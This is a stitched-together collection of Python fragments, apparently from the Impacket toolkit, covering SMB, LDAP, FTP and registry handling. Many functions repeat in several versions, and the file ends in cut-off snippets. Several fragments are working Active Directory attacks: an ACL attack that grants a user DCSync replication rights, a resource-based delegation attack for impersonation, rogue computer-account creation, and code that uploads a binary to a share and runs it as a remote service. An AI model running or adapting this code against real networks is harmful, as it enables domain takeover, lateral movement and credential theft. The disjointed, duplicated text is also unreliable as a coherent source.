def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i[ 'shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile( tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare
def __init__(self, remoteName='', remoteHost='', myName = None, sess_port = 445, timeout=60, preferredDialect = None, existingConnection = None): self._SMBConnection = 0 self._dialect = '' self._nmbSession = 0 hostType = nmb.TYPE_SERVER if existingConnection is not None: # Existing Connection must be a smb or smb3 instance assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3)) self._SMBConnection = existingConnection return ##preferredDialect = smb.SMB_DIALECT if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(myName, remoteName, remoteHost, sess_port, timeout) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, session = self._nmbSession ) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout, session = self._nmbSession, negPacket = packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout) elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, preferredDialect = preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle']
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name + '\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle, self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical( "Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle']
def listDirectoryRescursive(self,path="/"): output = self.ftp.retrlines("LIST") directory_list = [] file_list =[] for x in output: list = x.split(' ') if "<DIR>" in list or "d-" in list[0] or "dr" in list[0]: directory_list.append(list[-1]) else: file_list.append(list[-1]) LOG.info("Listing Directory and File For %s" % path) LOG.level = logging.DEBUG for directory in directory_list: LOG.debug(directory) for file in file_list: LOG.debug(file) directory_list.append("") if len(directory_list) != 0: for directory in directory_list: try: if directory == "": self.ftp.cwd("..") else : self.ftp.cwd(directory) self.listDirectoryRescursive(self.ftp.pwd()) except Exception as e: LOG.level = logging.CRITICAL LOG.critical(str(e)[:-1] + " "+ path+"/"+directory) else: self.ftp.cwd("..")
def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) self.copy_file(self.__exeFile, self.share, self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception, e: LOG.critical( "Error performing the installation, cleaning up: %s" % e) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.critical('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) config.set_targetName(targetsam) config.set_priv(True) delegatePerformed.append(targetsam) return True else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile ,self.share,self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical("Error performing the installation, cleaning up: %s" %e) LOG.debug("Exception", exc_info=True) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False
def tryLogin(self): try: self.ftp = FTP(self.target) LOG.info("Trying To Login With User %s .." % self.user) output = self.ftp.login(user=self.user,passwd=self.password) LOG.info(output) self.listDirectoryRescursive() except Exception as e: LOG.level = logging.CRITICAL LOG.critical(str(e))
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') config.set_priv(True) config.set_dcsync(True) # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Random computername newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.critical('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) config.set_newPassword(newPassword) config.set_newUser(newComputer) alreadyAddedComputer = True # Return the SAM name return newComputer
def loadFile(cls, fileName): if fileName is None: LOG.critical('CCache file is not found. Skipping...') LOG.debug('The specified path is not correct or the KRB5CCNAME environment variable is not defined') return None try: f = open(fileName, 'rb') data = f.read() f.close() return cls(data) except FileNotFoundError as e: raise e
def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle']
def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise
def readTargets(self): try: with open(self.filename,'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target is not None: self.originalTargets.extend(self.processTarget(target, self.protocolClients)) except IOError as e: LOG.error("Could not open file: %s - " % (self.filename, str(e))) if len(self.originalTargets) == 0: LOG.critical("Warning: no valid targets specified!") self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks]
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username) LOG.info('Try using DCSync with secretsdump.py and this user :)') return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = string.replace(f,'/','\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close()
def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = string.replace(f, '/', '\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close()
def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] try: self.connection.createDirectory(share,'BETO') except: # Can't create, pass LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) self.connection.deleteDirectory(share,'BETO') return str(share) return None
def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name + '\x00') service = resp['lpServiceHandle'] LOG.info('Stoping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up") try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
def negotiateSession(self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
def readTargets(self): try: with open(self.filename, 'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target != '': self.originalTargets.extend( self.processTarget(target, self.protocolClients)) except IOError as e: LOG.error("Could not open file: %s - %s", self.filename, str(e)) if len(self.originalTargets) == 0: LOG.critical("Warning: no valid targets specified!") self.candidates = [ x for x in self.originalTargets if x not in self.finishedAttacks ]
class TargetsProcessor: def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None): # Here we store the attacks that already finished, mostly the ones that have usernames, since the # other ones will never finish. self.finishedAttacks = [] self.protocolClients = protocolClients if targetListFile is None: self.filename = None self.originalTargets = self.processTarget(singleTarget, protocolClients) else: self.filename = targetListFile self.originalTargets = [] self.readTargets() self.candidates = [x for x in self.originalTargets] @staticmethod def processTarget(target, protocolClients): # Check if we have a single target, with no URI form if target.find('://') <= 0: # Target is a single IP, assuming it's SMB. return [urlparse('smb://%s' % target)] # Checks if it needs to expand the list if there's a all://* retVals = [] if target[:3].upper() == 'ALL': strippedTarget = target[3:] for protocol in protocolClients: retVals.append(urlparse('%s%s' % (protocol, strippedTarget))) return retVals else: return [urlparse(target)] def readTargets(self): try: with open(self.filename, 'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target != '': self.originalTargets.extend( self.processTarget(target, self.protocolClients)) except IOError, e: LOG.error("Could not open file: %s - " % (self.filename, str(e))) if len(self.originalTargets) == 0: LOG.critical("Warning: no valid targets specified!") self.candidates = [ x for x in self.originalTargets if x not in self.finishedAttacks ]
def __compareHash(self, magic, hashData, key): if magic == "lf": hashRec = REG_HASH(hashData) if hashRec["KeyName"].strip("\x00") == key[:4]: return hashRec["OffsetNk"] elif magic == "lh": hashRec = REG_HASH(hashData) if unpack("<L", hashRec["KeyName"])[0] == self.__getLhHash(key): return hashRec["OffsetNk"] elif magic == "ri": # Special case here, don't know exactly why, an ri pointing to a NK :-o offset = unpack("<L", hashData[:4])[0] nk = self.__getBlock(offset) if nk["KeyName"] == key: return offset else: LOG.critical("UNKNOWN Magic %s" % magic) sys.exit(1) return None
def __compareHash(self, magic, hashData, key): if magic == 'lf': hashRec = REG_HASH(hashData) if hashRec['KeyName'].strip('\x00') == key[:4]: return hashRec['OffsetNk'] elif magic == 'lh': hashRec = REG_HASH(hashData) if unpack('<L',hashRec['KeyName'])[0] == self.__getLhHash(key): return hashRec['OffsetNk'] elif magic == 'ri': # Special case here, don't know exactly why, an ri pointing to a NK :-o offset = unpack('<L', hashData[:4])[0] nk = self.__getBlock(offset) if nk['KeyName'] == key: return offset else: LOG.critical("UNKNOWN Magic %s" % magic) sys.exit(1) return None
def __compareHash(self, magic, hashData, key): if magic == 'lf': hashRec = REG_HASH(hashData) if hashRec['KeyName'].strip('\x00') == key[:4]: return hashRec['OffsetNk'] elif magic == 'lh': hashRec = REG_HASH(hashData) if unpack('<L', hashRec['KeyName'])[0] == self.__getLhHash(key): return hashRec['OffsetNk'] elif magic == 'ri': # Special case here, don't know exactly why, an ri pointing to a NK :-o offset = unpack('<L', hashData[:4])[0] nk = self.__getBlock(offset) if nk['KeyName'] == key: return offset else: LOG.critical("UNKNOWN Magic %s" % magic) sys.exit(1) return None
def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00') service = resp['lpServiceHandle'] LOG.info('Stoping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up" ) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare
def negotiateSession(self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old # applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i # *SMBSERVER's limitations if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': self._remoteName = self._remoteHost elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best nb = nmb.NetBIOS() try: res = nb.getnetbiosname(self._remoteHost) except: pass else: self._remoteName = res hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
password, lmhash, nthash, use_ntlmv2=use_ntlmv2) try: POW = None from Crypto.Cipher import ARC4 from Crypto.Cipher import DES from Crypto.Hash import MD4 except Exception: try: import POW except Exception: LOG.critical( "Warning: You don't have any crypto installed. You need PyCrypto") LOG.critical("See http://www.pycrypto.org/") NTLM_AUTH_NONE = 1 NTLM_AUTH_CONNECT = 2 NTLM_AUTH_CALL = 3 NTLM_AUTH_PKT = 4 NTLM_AUTH_PKT_INTEGRITY = 5 NTLM_AUTH_PKT_PRIVACY = 6 # If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN # with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to # the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 # are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be # returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is # supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.
from pyasn1.codec.der import decoder, encoder from pyasn1.error import SubstrateUnderrunError from impacket import LOG from impacket.ldap.ldapasn1 import BindRequest, Integer7Bit, LDAPDN, AuthenticationChoice, AuthSimple, LDAPMessage, \ SCOPE_SUB, SearchRequest, Scope, DEREF_NEVER, DeRefAliases, IntegerPositive, Boolean, AttributeSelection, \ SaslCredentials, LDAPString, ProtocolOp, Credentials from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3 from impacket.spnego import SPNEGO_NegTokenInit, TypesMech try: import OpenSSL from OpenSSL import SSL, crypto except: LOG.critical("pyOpenSSL is not installed, can't continue") raise class LDAPConnection: def __init__(self, url, baseDN='dc=net', dstIp=None): """ LDAPConnection class :param string url: :param string baseDN: :param string dstIp: :return: a LDAP instance, if not raises a LDAPSessionError exception """ self._SSL = False
